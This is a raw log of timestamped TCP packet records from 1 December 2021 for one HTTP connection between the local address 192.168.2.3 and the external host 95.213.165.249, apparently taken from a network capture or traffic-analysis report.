Dec 1, 2021 10:04:54.769651890 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769675970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769676924 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769697905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769718885 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769720078 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769742966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769762039 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769763947 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769785881 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769807100 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769828081 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769828081 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769850969 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769871950 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769875050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769897938 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769905090 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769920111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769942045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769948959 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.769963980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769985914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.769994020 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770008087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770026922 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770030975 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770054102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770073891 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770088911 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770097017 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770118952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770119905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770142078 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770162106 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770174980 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770183086 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770205021 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770214081 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770226955 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770246029 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770247936 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770270109 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770292044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770308018 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770312071 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770334005 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770340919 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770355940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770378113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770385981 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770399094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770417929 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770418882 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770440102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770461082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770479918 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770481110 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770502090 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770524025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770524025 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770545006 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770565033 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770566940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770590067 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770591021 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770611048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770632029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770639896 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770653963 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770674944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770684958 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770698071 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770745039 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.770817995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.770889044 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.773055077 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.802803993 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.802835941 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.802858114 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.802880049 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.802922964 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.802970886 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.820331097 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820761919 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820786953 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820810080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820831060 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820868015 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820879936 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.820889950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820913076 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820926905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.820935965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820959091 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.820966005 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.820981979 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821002007 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821023941 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821033955 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.821043968 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821065903 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821079016 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.821086884 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821108103 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.821108103 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.821141005 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828413010 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828445911 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828461885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828485966 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828509092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828531027 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828551054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828572989 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828593969 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828613043 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828615904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828639984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828664064 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828686953 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828706980 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828708887 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828735113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828742981 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828757048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828782082 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828782082 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828804016 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828826904 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828861952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828871965 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828886986 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828897953 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828908920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828929901 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828943014 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828953028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828974962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.828986883 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.828996897 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829020023 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829021931 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829042912 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829066038 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829087973 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829090118 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829109907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829133987 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829133987 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829155922 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829168081 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829180002 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829201937 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829216957 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829225063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829246998 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829267025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829269886 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829288960 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829309940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829313040 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829332113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829344034 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829354048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829375029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829386950 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829400063 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829421997 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829437017 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829442978 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829463959 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829468966 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829484940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829505920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829507113 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829529047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829550028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829566956 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829571962 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829595089 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829603910 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829616070 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829638004 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829651117 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829659939 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829680920 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829701900 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829711914 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829729080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829751015 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829772949 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829793930 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829796076 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829814911 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829835892 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829857111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829879045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829899073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829911947 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829921007 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829941988 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.829947948 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.829963923 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.830014944 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.850275040 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.861498117 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.861535072 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.861707926 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.867995977 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.868032932 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.868202925 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.880336046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880377054 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880394936 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880414009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880435944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880458117 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880477905 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880503893 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880525112 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880547047 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880582094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880583048 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.880604029 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880626917 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880647898 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880652905 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.880671024 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880695105 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.880697966 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.880724907 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887495041 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887531996 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887547970 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887567997 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887589931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887612104 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887639999 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887661934 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887685061 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887687922 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887706995 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887731075 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887753963 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887774944 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887794018 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887815952 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887819052 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887840033 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887840986 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887861967 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887871981 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887885094 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887907028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887926102 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887929916 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887953997 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.887969971 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.887976885 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888000011 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888000965 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888024092 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888045073 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888046026 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888068914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888091087 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888091087 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888113022 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888137102 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888154984 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888159990 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888184071 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888199091 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888206005 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888230085 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888245106 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888252020 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888274908 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888295889 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888297081 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888319969 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888329983 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888340950 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888361931 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888374090 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888385057 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888406992 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888417006 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888428926 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888449907 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888451099 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888472080 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888492107 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888511896 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888519049 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888534069 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888555050 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888566017 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888576031 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888597012 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888600111 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888622046 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888632059 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888643980 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888665915 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888679028 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888686895 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888708115 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888730049 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888730049 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888751984 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888760090 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888776064 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888797045 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888818026 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888825893 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888840914 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888871908 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888884068 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888899088 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888906956 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888928890 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888950109 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888957024 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.888972044 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.888993025 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889002085 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.889014959 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889031887 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.889035940 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889058113 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889080048 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889101028 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889100075 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.889122009 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889141083 CET	49826	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:54.889142036 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889164925 CET	80	49826	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:54.889175892 CET	49826	80	192.168.2.3	95.213.165.249
